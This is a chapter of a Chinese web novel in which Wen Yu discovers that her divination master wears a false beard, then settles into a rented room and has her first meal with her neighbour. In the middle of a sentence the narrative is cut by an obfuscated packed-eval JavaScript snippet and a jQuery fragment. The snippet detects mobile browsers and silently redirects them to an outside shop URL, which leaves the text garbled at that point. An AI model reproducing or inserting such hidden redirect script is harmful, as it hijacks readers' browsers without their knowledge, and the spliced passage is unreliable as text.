“这是什么意思?随便什么东西都可以用来卜卦吗?”
神道长神情严肃,“是也不是。既是缘法,那这个预示该出现的时候,自然会出现,且不拘泥于形式。”
闻钰没太听明白:“能不能举个例子?”
“试想,若一人准备要出远门,收拾行装时,碰倒了一盏灯,或是打碎了一个茶杯,你如何看?”
“……可能会有不好的事发生?”
“不错,”见她领悟极快,神道长满意点头,“这通常就是预示着凶兆。”
闻钰不由想起在家时,每当家里摔坏些杯子碗勺的,她妈就总会念叨两声“碎碎平安”,好奇道:“那碎碎平安的说法,是真的假的?”
“倒也谈不上真假,若是那碎掉的东西同你有缘,或许还真能替你挡一挡灾,但那些普通的茶杯碗盏,哪有什么灵性。碎碎平安的说法,就是世人为求一个心安罢了。”
这番话听起来又玄又有道理,闻钰却意外地被他说服了。不过刚才神道长提到的“卦师”一词倒是新鲜,闻钰没想到这里的神棍似乎都已经发展出一定规模了,甚至还有除了道士、道长以外的名字。
“那做卦师的人多吗?”
神道长木着脸冷哼一声,“多的只有一群自称卦师的半吊子。”
难道这卦师也分什么名门正派和野路子的?闻钰内心感叹,果然有人的地方就少不了各种明争暗斗,就连做神棍也不例外。
一次教太多闻钰也学不会,神道长索性就教到这,反正日子还长着,看多了早晚都能学会。于是闻钰百无聊赖地摆弄了一下午的天地罗盘和龟甲,自然也没能琢磨出个什么来。
而神道长的算命摊,今日并不似给阿四算出来的运势那样好,除了早上来了一个给自家儿子算姻缘的,下午竟无一人光顾。而且不巧,早上那人来的时候还正是闻钰去租房的那会儿,整个过程她也没能瞧见。
眼瞧着师徒俩只能闲坐至傍晚收摊,神道长却忽地问起她租的屋子,打发她回去收拾:“趁西市人还没散,早些回去瞧瞧有没有缺的东西,将该买的都买了,免得晚上要什么没什么。”
虽说闻钰瞧那屋子里东西还算齐全,但被褥、水盆什么的她确实还没准备,所以她也不打算推辞。不过一天下来,她多少还是生出了些给人当徒弟的觉悟,问道:“师父收摊的时候不需要我帮忙么?”
神道长好笑道:“我这点东西,包袱一拎就能走,要你帮什么?”
“行,那我真走了?”
闻钰站起身,却眼尖地瞧见神道长脸上似乎有哪里不对劲,又顿住了脚步。
“走吧走吧。”神道长不耐烦地朝她摆手,见她不动,只盯着自己的脸,忽地有些紧张,“怎么?”
“师父,”闻钰眯着眼靠近,伏低身子,放轻了声音提醒,“你的胡须好像歪了。”
神道长吓了一跳,猛地抬手去摸自己的胡子,等反应过来自己不该这样激动时已经晚了。
闻钰瞥了眼毫无所觉的刘婶,重新坐回椅子上,扯了扯嘴角:“老实交代吧,师——父——”
神道长已经将胡须重新贴好,听闻钰故意拖长声音,好似在质疑他是个骗子,不太高兴地答道:“为师又没有骗你,和你说的每一句话,可都是实话,教你的东西也都是真的。”
“那你为何扮成这样?”闻钰死死盯着他,这人说话也一副其他人都是假道士,自己才是正道传承的语气,谁知道他竟然才是那个真正的骗子呢?
神道长左右瞧了瞧,连忙抬手示意她:“小点声。”
闻钰权当没听见,只不依不饶地催促道:“快说!”
“行,我说,你小点声!”神道长压着声音呐喊,生怕自己的招牌就要毁于一旦,随后叹了口气,解释起来。
“我最开始也没有扮成这样的,可是那些出来骗人的假道士,一个个都看起来像仙风道骨的老头子。就算我说自己比他们强,也没有人信我,觉得我年纪轻,看起来就不如那些人厉害,说我才是骗子……”
“后来我听说西市有人偷偷在卖这种易容用的东西,就买回来试了一下,没想到那些人根本没认出来是我,只当我是什么从外头新来的厉害道士。”神道长撇撇嘴,“我也瞧不起自己的做法,可是没办法,做这行赚钱也不易。”
“而且这幅装扮久了,想要再换回我自己的样子,却是无人能认得了,解释起来反倒横生事端……”神道长说完,瞥了眼面前的闻钰,“我本来也不觉得能瞒你多久,但没料到你第一天就发现了,还一点情面也不留地逼问我……”
这番解释听起来合情合理,闻钰没说信不信,只是换了个姿势,双手环在胸前,继续问:“所以你究竟什么年纪?”
“……三十五。”神道长只心虚了一秒,便立刻争辩道,“只要我会的比你多,就能做你师父,年纪有什么重要的。”
“嗯,知道了,我先走了。”闻钰跟没事人一样站起身,朝着宁安巷的方向走了两步,又转过头唤了声“师父”。
神道长本还一脸怔愣,随即立马明白了她的意思,大笑着应了一声:“哎,徒弟,你去吧。”
闻钰轻哼一声,心里斥着这人得寸进尺,头也不回地走了。
*
在西市溜达了一圈,闻钰拎着大包小包的回到宁安巷,敲了一会儿门,见半天无人回应,只好掏出了陈家管事给她的钥匙。
推开门,小院里安安静静,安娘子的屋门合着,院里晾着她洗好的衣裳,还正往下滴着水。
寻了处干净地方将东西放下,闻钰换上了新衣服,虽然布料粗糙些,样式也并不多好看,但好歹能穿上她自己的衣服了,一会儿还得打扫屋子,总不好将别人的衣服弄脏弄破了。还得快些将阿兰的衣服洗了晾上,这样过几天也能早些还回去。
闻钰撸起袖子,环视一周新屋,床铺、衣柜、烛台、茶桌以及圆凳都有,东西不少,但应是有些日子没人住了,上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481188|201748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面都落了一层灰。
闻钰走到水井边,摸索了一会儿很快就上手了,刚打上来一桶水,就见安娘子提着菜篮子从外面回来了。
见安娘子进门后满脸惊讶,闻钰连忙放下装满水的木桶,随意在衣服上擦干了手,上前招呼道:“我同陈家签了契,租下了另一间屋子。刚才娘子不在家,我便擅自先进来了,没有吓着你吧?”
“没吓着,”安娘子一双细眉如弯月,柔柔笑着回话,“陈家来人知会我了的,我就是没想到闻娘子这么快就搬进来了。”
闻钰松了口气:“那就好。”
“方才我瞧娘子在打水?可需要我帮忙?”
“多谢娘子,我自己来就好。”闻钰余光里瞥见今早她用过的那个大木盆,又道,“不过,那个木盆,可以借我洗衣服吗?”
“当然,这院子里的东西,娘子若需要,尽管直接用就是,我都不介意的。对了,娘子要洗衣服的话,我这还有些草木灰。”安娘子说着就走进小厨房里,从架子上拿出一个木盒,递给闻钰。
闻钰打开盒子,里头都是黑灰色的碎末,这草木灰……听安娘子的意思是用来洗衣服的,但显然不是像洗衣粉那样直接倒水里就行的吧……?
二人面面相觑,闻钰尴尬地捧着盒子问:“这个……要怎么用?”
安娘子一怔,闻钰也不知对方在这短短几秒间脑补出了什么,就连下一刻看向她的目光似乎都不太一样了,好在安娘子仍是耐心地告诉了她使用的方法,随后便进了厨房。
等她走开了,闻钰才狠狠松了一口气,果然还是不要轻易向人问一些常识性的问题,否则估计不是被当成怪人,就是被当成傻子吧。
待小厨房里满溢的烟火味变成菜香味,闻钰也已经洗好了衣服,打扫了房间,懒懒地靠在床边休息。
这屋子落灰也就罢了,待久了还能隐隐约约闻到木头潮湿腐朽的味儿,好在已经是夏天,等之后天气热起来,晒一晒应该能好些。
安娘子却走到了门边,唤道:“闻娘子?”
这躺着的姿势实在不雅观,闻钰又没关房门,小小的屋子一览无余,她连忙坐起身来,应道:“怎么了?”
“我特意多做了些菜,闻娘子可要一起吃些?正好也算是为娘子暖房了。”
“啊,可是我回来的时候买了饼——”眼见安娘子面上神色逐渐变得失望,闻钰良心不安,立刻调转话头,“那我的饼也分娘子一半吧。”
这院子没有多余的地方另摆餐桌,反正也是为了暖房,二人便在闻钰的屋里摆了碗筷用饭。
安娘子手艺算不得多好,但闻钰本来就不怎么会做菜,更别提古代还得自己烧柴火,为了省钱,肯定也不能总在外面买东西吃,以后少不得要向安娘子多学习,连着道了许多声谢。
二人一顿饭下来,也熟了许多,安娘子眉眼弯弯,受了她的谢,掩唇笑道:“闻娘子不必如此客气,我单名一个巧,以后唤我巧娘就是。”